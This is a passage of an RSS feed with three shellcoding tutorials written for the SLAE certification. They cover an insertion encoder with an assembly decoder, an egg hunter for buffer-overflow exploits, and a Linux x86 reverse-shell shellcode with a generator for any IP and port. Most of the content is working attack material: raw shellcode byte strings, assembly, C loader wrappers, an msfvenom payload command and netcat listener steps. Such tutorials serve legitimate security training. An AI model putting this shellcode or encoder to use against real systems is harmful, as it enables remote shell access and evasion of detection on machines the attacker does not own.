src="https://cdn-images-1.medium.com/max/1024/1*xPCt_cEoJ7n6ciMApANgDg.png" /><figcaption>execve-stack shellcode: spawn shell</figcaption></figure><p>Use <a href="https://www.commandlinefu.com/commands/view/6051/get-all-shellcode-on-binary-file-from-objdump">https://www.commandlinefu.com/commands/view/6051/get-all-shellcode-on-binary-file-from-objdump</a> to get the command for <strong>objdump</strong> to extract the shellcode.</p><pre>objdump -d ./execve_stack|grep &#39;[0-9a-f]:&#39;|grep -v &#39;file&#39;|cut -f2 -d:|cut -f1-6 -d&#39; &#39;|tr -s &#39; &#39;|tr &#39;\t&#39; &#39; &#39;|sed &#39;s/ $//g&#39;|sed &#39;s/ /\\x/g&#39;|paste -d &#39;&#39; -s |sed &#39;s/^/&quot;/&#39;|sed &#39;s/$/&quot;/g&#39;</pre><p>And our result shellcode string using the above command:</p><pre>&quot;\x31\xc0\x50\x89\xe2\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80&quot;</pre><h4>Shellcode Encoder</h4><p>Now, we’ll write a Python script to encode our shellcode. The idea is to insert random number along with that number of <strong>0xaa</strong> after every alternate shellcode byte.</p><p>The shellcode should look like:</p><pre>\xbb -&gt; shellcode byte(s)<br>\xaa -&gt; encoded buffer</pre><pre>Final shellcode:<br>\xbb<strong>\x02\xaa\xaa</strong>\xbb<strong>\x04\xaa\xaa\xaa\xaa</strong>\xbb<strong>\x01\xaa...</strong></pre><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/6600df55d4b10b0aeaefe6524d5479c1/href">https://medium.com/media/6600df55d4b10b0aeaefe6524d5479c1/href</a></iframe><p>Let’s generate the encoded shellcode using our Insertion-Encoder.py</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w-F8Cqo4MdIYUPr02kuCDQ.png" /><figcaption>Encoded Shellcode</figcaption></figure><p>Encoded shellcode string for</p><pre>0x31,0x01,0xaa,0xc0,0x05,0xaa,0xaa,0xaa,0xaa,0xaa,0x50,0x02,0xaa,0xaa,0x89,0x02,0xaa,0xaa,0xe2,0x02,0xaa,0xaa,0x68,0x05,0xaa,0xaa,0xaa,0xaa,0xaa,0x62,0x05,0xaa,0xaa,0xaa,0xaa,0xaa,0x61,0x04,0xaa,0xaa,0xaa,0xaa,0x73,0x03,0xaa,0xaa,0xaa,0x68,0x05,0xaa,0xaa,0xaa,0xaa,0xaa,0x68,0x02,0xaa,0xaa,0x62,0x02,0xaa,0xaa,0x69,0x01,0xaa,0x6e,0x04,0xaa,0xaa,0xaa,0xaa,0x2f,0x01,0xaa,0x68,0x03,0xaa,0xaa,0xaa,0x2f,0x03,0xaa,0xaa,0xaa,0x2f,0x05,0xaa,0xaa,0xaa,0xaa,0xaa,0x2f,0x02,0xaa,0xaa,0x2f,0x02,0xaa,0xaa,0x89,0x03,0xaa,0xaa,0xaa,0xe3,0x04,0xaa,0xaa,0xaa,0xaa,0x50,0x01,0xaa,0x53,0x04,0xaa,0xaa,0xaa,0xaa,0x89,0x03,0xaa,0xaa,0xaa,0xe1,0x01,0xaa,0xb0,0x03,0xaa,0xaa,0xaa,0x0b,0x02,0xaa,0xaa,0xcd,0x02,0xaa,0xaa,0x80,0x03,0xaa,0xaa,0xaa</pre><h4>Shellcode Decoder</h4><p>It’s time to write our shellcode decoder in assembly. In the code we will iterate through the above created shellcode string and move the actual shellcode bytes towards the beginning of the string.</p><p>The assembly code is as follows:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/d5992dbd70b1135dc6ac1b294d267aea/href">https://medium.com/media/d5992dbd70b1135dc6ac1b294d267aea/href</a></iframe><p>Compile, link and extract the shellcode string using nasm, ld and objdump.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lv4WULRk3WMlvF3Nq71bwg.png" /></figure><p><strong>➜ </strong>nasm -f elf32 -o decoder_execve_stack.o decoder_execve_stack.asm<br><strong>➜ </strong>ld -o decoder_execve_stack decoder_execve_stack.o<br><strong>➜ </strong>objdump -d ./decoder_execve_stack|grep &#39;[0-9a-f]:&#39;|grep -v &#39;file&#39;|cut -f2 -d:|cut <strong>-f1-7</strong> -d&#39; &#39;|tr -s &#39; &#39;|tr &#39;\t&#39; &#39; &#39;|sed &#39;s/ $//g&#39;|sed &#39;s/ /\\x/g&#39;|paste -d &#39;&#39; -s |sed &#39;s/^/&quot;/&#39;|sed &#39;s/$/&quot;/g&#39;</p><blockquote><em>Points to be noted:</em></blockquote><blockquote><em>1. The change in objdump command — highlighted bold</em></blockquote><blockquote><em>2. Your shellcode generated after encoding might be different from the one shown here due to the random nature of insertion encoded string</em></blockquote><p>Extracted shellcode string:</p><pre>&quot;\x31\xc0\x89\xc3\x89\xc1\x89\xc2\xeb\x1a\x5e\xb1\x1e\xfe\xc3\xfe\xc0\x51\x8a\x0c\x06\x40\xe2\xfd\x40\x59\x8a\x14\x06\x88\x14\x1e\xe2\xeb\xff\xe6\xe8\xe1\xff\xff\xff\x31\x03\xaa\xaa\xaa\xc0\x03\xaa\xaa\xaa\x50\x02\xaa\xaa\x89\x02\xaa\xaa\xe2\x02\xaa\xaa\x68\x04\xaa\xaa\xaa\xaa\x62\x03\xaa\xaa\xaa\x61\x05\xaa\xaa\xaa\xaa\xaa\x73\x03\xaa\xaa\xaa\x68\x01\xaa\x68\x05\xaa\xaa\xaa\xaa\xaa\x62\x03\xaa\xaa\xaa\x69\x01\xaa\x6e\x02\xaa\xaa\x2f\x01\xaa\x68\x02\xaa\xaa\x2f\x02\xaa\xaa\x2f\x04\xaa\xaa\xaa\xaa\x2f\x02\xaa\xaa\x2f\x03\xaa\xaa\xaa\x89\x05\xaa\xaa\xaa\xaa\xaa\xe3\x05\xaa\xaa\xaa\xaa\xaa\x50\x05\xaa\xaa\xaa\xaa\xaa\x53\x03\xaa\xaa\xaa\x89\x04\xaa\xaa\xaa\xaa\xe1\x05\xaa\xaa\xaa\xaa\xaa\xb0\x04\xaa\xaa\xaa\xaa\x0b\x01\xaa\xcd\x03\xaa\xaa\xaa\x80\x04\xaa\xaa\xaa\xaa&quot;</pre><h4>Testing Shellcode using C wrapper</h4><p>Let’s test our shellcode by writing a simple C program that will pass the control to our shellcode. I have added a gist for C wrapper program, here is the link to it: <a href="https://gist.github.com/AdityaChaudhary/d37361b4847de1640ad2923d277b936f">https://gist.github.com/AdityaChaudhary/d37361b4847de1640ad2923d277b936f</a></p><pre>#include&lt;stdio.h&gt;<br>#include&lt;string.h&gt;</pre><pre>unsigned char code[] = \<br>&quot;\x31\xc0\x89\xc3\x89\xc1\x89\xc2\xeb\x1a\x5e\xb1\x1e\xfe\xc3\xfe\xc0\x51\x8a\x0c\x06\x40\xe2\xfd\x40\x59\x8a\x14\x06\x88\x14\x1e\xe2\xeb\xff\xe6\xe8\xe1\xff\xff\xff\x31\x03\xaa\xaa\xaa\xc0\x03\xaa\xaa\xaa\x50\x02\xaa\xaa\x89\x02\xaa\xaa\xe2\x02\xaa\xaa\x68\x04\xaa\xaa\xaa\xaa\x62\x03\xaa\xaa\xaa\x61\x05\xaa\xaa\xaa\xaa\xaa\x73\x03\xaa\xaa\xaa\x68\x01\xaa\x68\x05\xaa\xaa\xaa\xaa\xaa\x62\x03\xaa\xaa\xaa\x69\x01\xaa\x6e\x02\xaa\xaa\x2f\x01\xaa\x68\x02\xaa\xaa\x2f\x02\xaa\xaa\x2f\x04\xaa\xaa\xaa\xaa\x2f\x02\xaa\xaa\x2f\x03\xaa\xaa\xaa\x89\x05\xaa\xaa\xaa\xaa\xaa\xe3\x05\xaa\xaa\xaa\xaa\xaa\x50\x05\xaa\xaa\xaa\xaa\xaa\x53\x03\xaa\xaa\xaa\x89\x04\xaa\xaa\xaa\xaa\xe1\x05\xaa\xaa\xaa\xaa\xaa\xb0\x04\xaa\xaa\xaa\xaa\x0b\x01\xaa\xcd\x03\xaa\xaa\xaa\x80\x04\xaa\xaa\xaa\xaa&quot;;</pre><pre>main()<br>{</pre><pre>printf(&quot;Shellcode Length:  %d\n&quot;, strlen(code));</pre><pre>int (*ret)() = (int(*)())code;</pre><pre>ret();</pre><pre>}</pre><p>Let’s compile and run this program.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SmE_q6w-6NbS-9DbHIhN4Q.png" /><figcaption>Compile and execute shellcode in C wrapper</figcaption></figure><p>Everything seems to work just fine!!</p><p>Huston, we have lift off.</p><p>We can further create a Python script to encode the shellcode which will take entropy(max number of random bytes to be inserted between 2 shellcode bytes) and bad characters arguments from command line.</p><blockquote><em>This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:</em></blockquote><blockquote><a href="http://securitytube-training.com/online-%20courses/securitytube-linux-assembly-expert/"><em>http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/</em></a></blockquote><blockquote><em>Student ID: PA-8416</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=776450de0f36" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SLAE 0x3: Egg Hunter Shellcode]]></title>
            <link>https://medium.com/@chaudharyaditya/slae-0x3-egg-hunter-shellcode-6fe367be2776?source=rss-630afb2b99f9------2</link>
            <guid isPermaLink="false">https://medium.com/p/6fe367be2776</guid>
            <category><![CDATA[egg-hunting]]></category>
            <category><![CDATA[shellcoding]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[assembly]]></category>
            <category><![CDATA[slaes]]></category>
            <dc:creator><![CDATA[Aditya Chaudhary]]></dc:creator>
            <pubDate>Sun, 03 Feb 2019 09:28:38 GMT</pubDate>
            <atom:updated>2019-02-26T07:52:35.864Z</atom:updated>
            <content:encoded><![CDATA[<p>Let’s consider a scenario where for some reason (maybe limited memory space) our entire shellcode can’t be placed into memory. To make the scenario much easier to understand, we can take an example of a simple buffer overflow.</p><p>What if when we try to exploit buffer overflow the memory looks as shown below:</p><pre>| &lt;Payload&gt;|   &lt;= only 40 bytes of space<br>|    EIP   |<br>...<br>|   AAAA   |<br>|   AAAA   |<br>|   AAAA   |   &lt;= Injection Point          [Low Memory]</pre><p>In the above case, we can only write a payload of 40 bytes. Even the smallest reverse TCP shellcode would be more than 50 bytes.</p><p>What now? How about we use the space between our Injection Point and EIP that we filled with junk values? Yes, that’s right! That should do it.</p><p>We can write a payload which will search the memory for our shellcode and then pass control to it. That is exactly what egg hunting is.</p><blockquote>An <strong>egghunter</strong> is a short piece of code which is safely able to search the Virtual Address Space for an “egg” -a short string signifying the beginning of a larger payload.</blockquote><p>We will place an egg in the beginning of our shellcode and small payload will search for it and pass control to the shellcode.</p><h3>TL;DR</h3><p>Here’s the summarised version of this entire story for the time deficient people:</p><ul><li>Defining the Egg</li><li>Understand memory violation in Virtual Address Space (VAS)</li><li>Write the EggHunter Code</li><li>Generate shellcode using msfvenom</li><li>Use shellcode wrapper in C for final test</li></ul><h4>What is an Egg?</h4><p>An egg is a unique set of bytes in memory which mark the beginning of our shellcode. We will be using 8 bytes of egg (twice repeated 4 bytes) before the shellcode and our hunter will try to find two 4 bytes of that egg. We are repeating the egg twice before the shellcode so that the hunter might not accidentally run into itself and identify a false location of shellcode.</p><p>We will compose an egg using the below code snippet:</p><pre>00000000 90       nop <br>00000001 50       push eax <br>00000002 90       nop <br>00000003 50       push eax <br>00000004 90       nop <br>00000005 50       push eax <br>00000006 90       nop <br>00000007 50       push eax</pre><p>As a raw buffer, the egg becomes a dword 0x50905090 repeated twice in a row. The reason for choosing an egg which consists of instructions is so that we can pass the control to the egg itself which will be appended by the shellcode.</p><h4>Understand memory violation in Virtual Address Space (VAS)</h4><p>We also need to figure out a way to prevent our hunter from accessing invalid/restricted memory address inside a program. To check for memory violation we will the system call <strong>access</strong>. If the return value of system call access is <strong>EFAULT</strong> (pathname points outside your accessible address space) then we will jump to next page in VAS and continue with our search for egg.</p><blockquote>When a system call encounters an invalid memory address, most will return the EFAULT error code to indicate that a pointer provided to the system call was not valid.</blockquote><p>System call <strong>access:</strong></p><pre>#include &lt;unistd.h&gt;</pre><pre>int access(const char *pathname, int mode);</pre><h4>Write the EggHunter Code</h4><p>The logic for our hunter is as follows:</p><pre>if (access(mem_addr) == 0xf2){<br>    Jump_to_next_page()<br>}<br>if (value_at_address(mem_addr) != egg){<br>    jump_to_next_addr()<br>}<br>if (value_at_address(mem_addr + 0x4) != egg){<br>    jump_to_next_addr()<br>}<br>    jump_to_addr(mem_addr) //mem_addr points to our egg</pre><p>The code for hunter goes as follows:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/14d879f2e25ba0e94f5210bda53a7a28/href">https://medium.com/media/14d879f2e25ba0e94f5210bda53a7a28/href</a></iframe><p>Let’s assemble and link this code to generate one liner code in hex string format.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b9ojfVh6CdwuCWvkXjj8fw.png" /><figcaption>Assemble and link the egg hunter</figcaption></figure><pre>\x31\xc0\x89\xc7\xbf\x90\x50\x90\x50\x66\x81\xca\xff\x0f\x42\x60\x8d\x5a\x04\xb0\x21\xcd\x80\x3c\xf2\x61\x74\xed\x39\x3a\x75\xee\x39\x7a\x04\x75\xe9\xff\xe2</pre><h4>Generate shellcode using msfvenom</h4><p>Generating shellcode using msfvenom:</p><pre>msfvenom -p linux/x86/exec CMD=/bin/sh -f c --arch x86 --platform linux -b \x00</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pDs67HR7TMNT8DJH-0m9ig.png" /></figure><h4>Use shellcode wrapper in C for final test</h4><p>Let’s test our egg hunter by writing a simple C program that will pass the control to our egg hunter. I have added a gist for C wrapper program, here is the link to it: <a href="https://gist.github.com/AdityaChaudhary/e0400bd5546c78e8181c2e6bf548758c">https://gist.github.com/AdityaChaudhary/e0400bd5546c78e8181c2e6bf548758c</a></p><p>Add our egg hunter and shellcode inside this wrapper:</p><pre>#include&lt;stdio.h&gt;<br>#include&lt;string.h&gt;</pre><pre>#define EGG &quot;\x90\x50\x90\x50&quot;</pre><pre>unsigned char egghunter[] = \<br>&quot;\x31\xc0\x89\xc7\xbf&quot;<br>EGG<br>&quot;\x66\x81\xca\xff\x0f\x42\x60\x8d\x5a\x04\xb0\x21\xcd\x80\x3c\xf2\x61\x74\xed\x39\x3a\x75\xee\x39\x7a\x04\x75\xe9\xff\xe2&quot;;</pre><pre>unsigned char shellcode[] = \<br>EGG EGG<br>&quot;\xdb\xc6\xd9\x74\x24\xf4\xbe\x2d\x7d\xcc\x1d\x5a\x31\xc9\xb1&quot;<br>&quot;\x0b\x31\x72\x1a\x83\xc2\x04\x03\x72\x16\xe2\xd8\x17\xc7\x45&quot;<br>&quot;\xbb\xba\xb1\x1d\x96\x59\xb7\x39\x80\xb2\xb4\xad\x50\xa5\x15&quot;<br>&quot;\x4c\x39\x5b\xe3\x73\xeb\x4b\xfb\x73\x0b\x8c\xd3\x11\x62\xe2&quot;<br>&quot;\x04\xa5\x1c\xfa\x0d\x1a\x55\x1b\x7c\x1c&quot;;</pre><pre>main()<br>{<br>  printf(&quot;Egghunter Length:  %d\n&quot;, strlen(egghunter));<br>  printf(&quot;Shellcode Length:  %d\n&quot;, strlen(shellcode));</pre><pre>  int (*ret)() = (int(*)())egghunter;</pre><pre>  ret();<br>}</pre><p>Let’s see what happens when we run this C program:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OzlwBjcepWrHTo4CAkgOHA.png" /><figcaption>Compile and execute the C program</figcaption></figure><p>Nice! Our Egg Hunter seems to work just about right :)</p><p>Please go through the below mentioned paper to have a much better understand of Egg Hunting concept. It has helped me a lot to grasp the concept.</p><blockquote><a href="http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf"><em>http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf</em></a></blockquote><blockquote><em>This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:</em></blockquote><blockquote><a href="http://securitytube-training.com/online-%20courses/securitytube-linux-assembly-expert/"><em>http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/</em></a></blockquote><blockquote><em>Student ID: PA-8416</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6fe367be2776" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SLAE 0x2: Linux/x86 Reverse Shellcode]]></title>
            <link>https://medium.com/@chaudharyaditya/slae-0x2-linux-x86-reverse-shellcode-d7126d638aff?source=rss-630afb2b99f9------2</link>
            <guid isPermaLink="false">https://medium.com/p/d7126d638aff</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[assembly]]></category>
            <category><![CDATA[shellcoding]]></category>
            <category><![CDATA[shell]]></category>
            <category><![CDATA[slaes]]></category>
            <dc:creator><![CDATA[Aditya Chaudhary]]></dc:creator>
            <pubDate>Sun, 27 Jan 2019 16:44:51 GMT</pubDate>
            <atom:updated>2019-02-26T07:50:42.707Z</atom:updated>
            <content:encoded><![CDATA[<p>Let’s go through some of the basics.</p><blockquote><strong><em>Shellcode</em></strong><em> is basically a list of carefully crafted instructions that can be executed once the code is injected into a running application. Stack and heap-based buffer overflows are the most popular way of doing so.</em></blockquote><blockquote><em>A </em><strong><em>reverse shell</em></strong><em> is a type of shell in which the target machine communicates back to the attacking machine. The attacking machine has a listener port on which it receives the connection, which by using, code or command execution is achieved.</em></blockquote><h3>TL;DR</h3><p>Since we live in the era of widespread attention and time deficiency, here’s the summarised version of this entire story:</p><ul><li>Analyze C reverse shellcode</li><li>Create reverse shellcode for x86 Linux in assembly</li><li>Create shellcode generator python script</li><li>Use shellcode wrapper in C for final test</li></ul><p>Let’s begin</p><p>We will use nasm, ld and gcc to compile and link our code. If you are not aware of what are then you should first go through the basics of these tools.</p><p>Here is a reverse shell in C:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/f90305f396f8a5398fc1ddf9577e69c5/href">https://medium.com/media/f90305f396f8a5398fc1ddf9577e69c5/href</a></iframe><p>Open terminal and run nc -nvlp 7777 and open another terminal and compile and run the above C code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aPNTXsLszePnGt87Uk4ItA.png" /><figcaption>netcat listener with a success connection on executing the shellcode</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BJsxzDyOexQsoh1eBb6xLA.png" /><figcaption>compile and execute the shellcode to connect back to netcat listener</figcaption></figure><p>The shellcode seems to work just fine. Let’s try and analyse this shell using <strong>strace </strong>strace ./a.out and observe all the system calls.</p><pre>...<br>socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3<br>dup2(3, 0)                              = 0<br>dup2(3, 1)                              = 1<br>dup2(3, 2)                              = 2<br>connect(3, {sa_family=AF_INET, sin_port=htons(7777), sin_addr=inet_addr(&quot;127.0.0.1&quot;)}, 16) = 0<br>execve(&quot;/bin/sh&quot;, [0], [/* 0 vars */])  = 0<br>...</pre><p>Now, we’ll analyse the C code and convert it into assembly code.</p><blockquote><em>Linux 32bit has system calls mentioned in file: </em><strong><em>/usr/include/i386-linux-gnu/asm/unistd_32.h</em></strong></blockquote><blockquote><em>Or use this site </em><a href="https://syscalls.kernelgrok.com/"><strong><em>https://syscalls.kernelgrok.com/</em></strong></a><strong><em> </em></strong><em>to</em><strong><em> </em></strong><em>view the system calls list online.</em></blockquote><h4>Initialise Accumulator Register (EAX)</h4><pre>xor eax, eax</pre><h4>Create Socket</h4><p>Let’s have a look at socket creation code in C:</p><pre>int conn_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);</pre><p>Use man socketcall to view the man page of socketcall</p><pre>int socketcall(int call, unsigned long *args);</pre><p>Figure out the system call number of socketcall using <strong>unistd_32.h</strong> or using the syscalls website. Also find the call number (1st argument of socketcall) by viewing the contents of <strong>/usr/include/linux/net.h</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hL1T3frHy9GmIq7tyvNQeA.png" /><figcaption>/usr/include/linux/net.h</figcaption></figure><p>So, to create a socket using assembly we need to set the registers as shown below:</p><pre>eax &lt;= 0x66 (systemcall sys_socketcall)<br>ebx &lt;= 0x1  (using above image)<br>ecx &lt;= reference to arguments ( AF_INET, SOCK_STREAM, IPPROTO_IP )<br>AF_INET = 2<br>SOCK_STREAM = 1<br>IPPROTO_IP = 0</pre><p>And the assembly code for creating the socket. On success, a file descriptor for the new socket is returned, store that is <strong>esi</strong></p><pre>push eax        ; push 0<br>inc eax         ; eax = 1<br>mov ebx, eax    ; ebx = 1<br>push ebx        ; push 1<br>push byte 0x2   ; push 2</pre><pre>mov ecx, esp    ; ecx = reference to (2, 1, 0)</pre><pre>mov al, 0x66    ; sys_socketcall<br>int 0x80</pre><pre>mov esi, eax    ; save conn_sock in esi</pre><h4>Redirect I/O to Socket</h4><p>I/O redirection code for input (0), output (1) and error (2) in C is mentioned below:</p><pre>dup2(client_fd, 0);<br>dup2(client_fd, 1);<br>dup2(client_fd, 2);</pre><p>The registers should have the following values for dup2(client_fd, 0):</p><pre>eax &lt;= 0x3f (systemcall dup2)<br>ebx &lt;= client_fd <br>ecx &lt;= 0 (for input redirection)</pre><p>The code for input(0), output(1) and error(2) redirection to socket in assembly can be written as:</p><pre>  mov ebx, esi    ; ebx = conn_sock<br>  pop ecx         ; ecx = 2 ;loop counter<br>dup2:<br>  mov al, 0x3f    ; systemcall dup2<br>  int 0x80<br>  dec ecx<br>  jns dup2</pre><h4>Connect to the Server</h4><p>C code for connect function:</p><pre>struct sockaddr_in serv_addr;<br>serv_addr.sin_family = AF_INET; // IPv4<br>serv_addr.sin_addr.s_addr = inet_addr(&quot;127.0.0.1&quot;); // IP address<br>serv_addr.sin_port = htons(PORT);  // Port #</pre><pre>connect(conn_sock, (struct sockaddr *) &amp;serv_addr, 16);</pre><p>The registers will contain the following values for the system call:</p><pre>eax &lt;= 0x66<br>ebx &lt;= 0x3 (SYS_CONNECT function)<br>ecx &lt;= reference to (conn_sock, (struct sockaddr *) &amp;serv_addr, 16)</pre><pre>srv_addr.sin_family = 2                ;Equivalent for AF_INET<br>srv_addr.sin_port = 0x611e             ;&quot;7777&quot; in reversed order<br>srv_addr.sin_addr.s_addr = 0x7f010101  ;127.1.1.1 in reversed order</pre><p>The plan now is to push the <strong>sockaddr</strong> into the stack. Then push <strong>sizeof(srv_addr)</strong>, <strong>address of sockaddr</strong> pushed earlier, <strong>socket_fd</strong> (stored in esi earlier)</p><pre>Stack (grows from top to bottom):<br>------------<br>|0x0101017f|                   ; IP Address          [high memory]<br>|0x611e    |                   ; Port Number<br>|0x2       |      &lt;= srv_addr  ; AF_INET<br>|0x10      |      &lt;= sizeof(srv_addr) = 16<br>|&amp;srv_addr |<br>|socket_fd |      &lt;= ecx</pre><p>Code for connect function:</p><pre>push 0x0101017f     ; byte reverse of 0x7f010101 (127.1.1.1)<br>push word 0x611e    ; byte reverse of 0x1e61 (7777)<br>push word 0x2       ; AF_INET<br>mov ecx, esp        ; ecx = reference(AF_INET, 7777, 127.1.1.1)</pre><pre>push 0x10           ; push 16 -&gt; sizeof(serv_addr)<br>push ecx            ; push reference to (AF_INET, 7777, 127.1.1.1)<br>push esi            ; push conn_sock</pre><pre>mov ecx, esp</pre><pre>mov bl, 0x3         ; SYS_CONNECT function<br>mov al, 0x66        ; sys_socketcall<br>int 0x80</pre><h4>Executing /bin/sh</h4><p>C code for executing /bin/sh is as follows:</p><pre>execve( &quot;/bin/sh&quot;, NULL, NULL );</pre><p>To perform the same action in assembly, the registers need to be set as follows:</p><pre>eax &lt;= 0xb (11 = 0xb)<br>ebx &lt;= &quot;//bin/sh&quot; reverse hex-&gt;(0x68732f6e69622f2f)<br>ecx &lt;= NULL<br>edx &lt;= NULL</pre><blockquote><em>We use 1 extra / before /bin/sh to make it 8 bytes in length</em></blockquote><p>Assembly code for calling shell using <strong>execve</strong> will be:</p><pre>xor ecx, ecx       ; ecx = NULL<br>mov edx, ecx       ; edx = NULL</pre><pre>push ecx           ; push NULL<br>push 0x68732f6e    ; push n/sh in reverse<br>push 0x69622f2f    ; push //bi in reverse<br>mov ebx, esp       ; ebx now points to //bin/sh</pre><pre>mov al, 0xb        ; systemcall execve<br>int 0x80</pre><h4>Complete Shellcode</h4><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/93b4975502cd0ca953e03ce5ebe3351a/href">https://medium.com/media/93b4975502cd0ca953e03ce5ebe3351a/href</a></iframe><p>Let’s try out the shellcode. First start a listener using nc -nvlp 7777</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*Qi3BLZnji0LTSqnFbXfLGA.png" /><figcaption>netcat listener</figcaption></figure><p>Compile, link and execute the shellcode.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VOg5BhrIu-dEAPm-_bWbkA.png" /><figcaption>Compile, link and execute shellcode</figcaption></figure><p>Go back to the first terminal where we started the netcat listener and observe that we now have a shell access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ChIopUEDcoFMRKOBjIoebw.png" /><figcaption>shell access on the netcat listener</figcaption></figure><h4>Extract the shellcode</h4><p>Use <a href="https://www.commandlinefu.com/commands/view/6051/get-all-shellcode-on-binary-file-from-objdump">https://www.commandlinefu.com/commands/view/6051/get-all-shellcode-on-binary-file-from-objdump</a> to get the command for <strong>objdump</strong> to extract the shellcode.</p><pre>objdump -d ./reverse_shell|grep &#39;[0-9a-f]:&#39;|grep -v &#39;file&#39;|cut -f2 -d:|cut -f1-6 -d&#39; &#39;|tr -s &#39; &#39;|tr &#39;\t&#39; &#39; &#39;|sed &#39;s/ $//g&#39;|sed &#39;s/ /\\x/g&#39;|paste -d &#39;&#39; -s |sed &#39;s/^/&quot;/&#39;|sed &#39;s/$/&quot;/g&#39;</pre><p>And our result shellcode string using the above command:</p><pre>&quot;\x31\xc0\x50\x40\x89\xc3\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x89\xc6\x89\xf3\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x7f\x01\x01\x01\x66\x68\x1e\x61\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x31\xc9\x89\xca\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80\xb0\x01\x89\xc3\xcd\x80&quot;</pre><p>Just make sure the shellcode does not contain any NULL characters (0x00). If so, then just replace that instruction with any equivalent instruction(s). Below mentioned are two assembly equivalent instructions:</p><pre>mov eax, 0x00<br>xor eax, eax</pre><h4>Shellcode Generator</h4><p>Let’s write a small python script that will change the ip address and port in the above created shellcode.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/f2d28ed7ef14e0cdbeae1779efec6444/href">https://medium.com/media/f2d28ed7ef14e0cdbeae1779efec6444/href</a></iframe><p>Let’s generate the shellcode using the python script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CF-dAlThU23WMxgztsT9Mg.png" /><figcaption>generating shellcode using generator script</figcaption></figure><h4>Shellcode Testing using C wrapper</h4><p>Let’s test our shellcode by writing a simple C program that will pass the control to our shellcode. I have added a gist for C wrapper program, here is the link to it: <a href="https://gist.github.com/AdityaChaudhary/d37361b4847de1640ad2923d277b936f">https://gist.github.com/AdityaChaudhary/d37361b4847de1640ad2923d277b936f</a></p><pre>#include&lt;stdio.h&gt;<br>#include&lt;string.h&gt;</pre><pre>unsigned char code[] = \<br>&quot;\x31\xc0\x50\x40\x89\xc3\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x89\xc6\x89\xf3\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x7f\x01\x01\x01\x66\x68\x1e\x61\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x31\xc9\x89\xca\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80\xb0\x01\x89\xc3\xcd\x80&quot;;</pre><pre>main()<br>{<br>  printf(&quot;Shellcode Length:  %d\n&quot;, strlen(code));<br>  <br>  int (*ret)() = (int(*)())code;</pre><pre>ret();</pre><pre>}</pre><p>Let’s run this C program which should pass control to our shellcode. Don’t forget to start a netcat listener before executing the shellcode.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WIHSYOeNUkb2yv3_a4iwIw.png" /><figcaption>Compile and execute shellcode in C wrapper</figcaption></figure><p>Go to the netcat terminal and execute commands ;)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RDufP7CXbssN8Gadjogqfg.png" /><figcaption>Netcat received connection from reverse shell</figcaption></figure><p>Everything works just fine!!</p><p>Congrats you can now write your own awesome reverse shellcode :)</p><blockquote><em>This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:</em></blockquote><blockquote><a href="http://securitytube-training.com/online-%20courses/securitytube-linux-assembly-expert/"><em>http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/</em></a></blockquote><blockquote><em>Student ID: PA-8416</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d7126d638aff" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
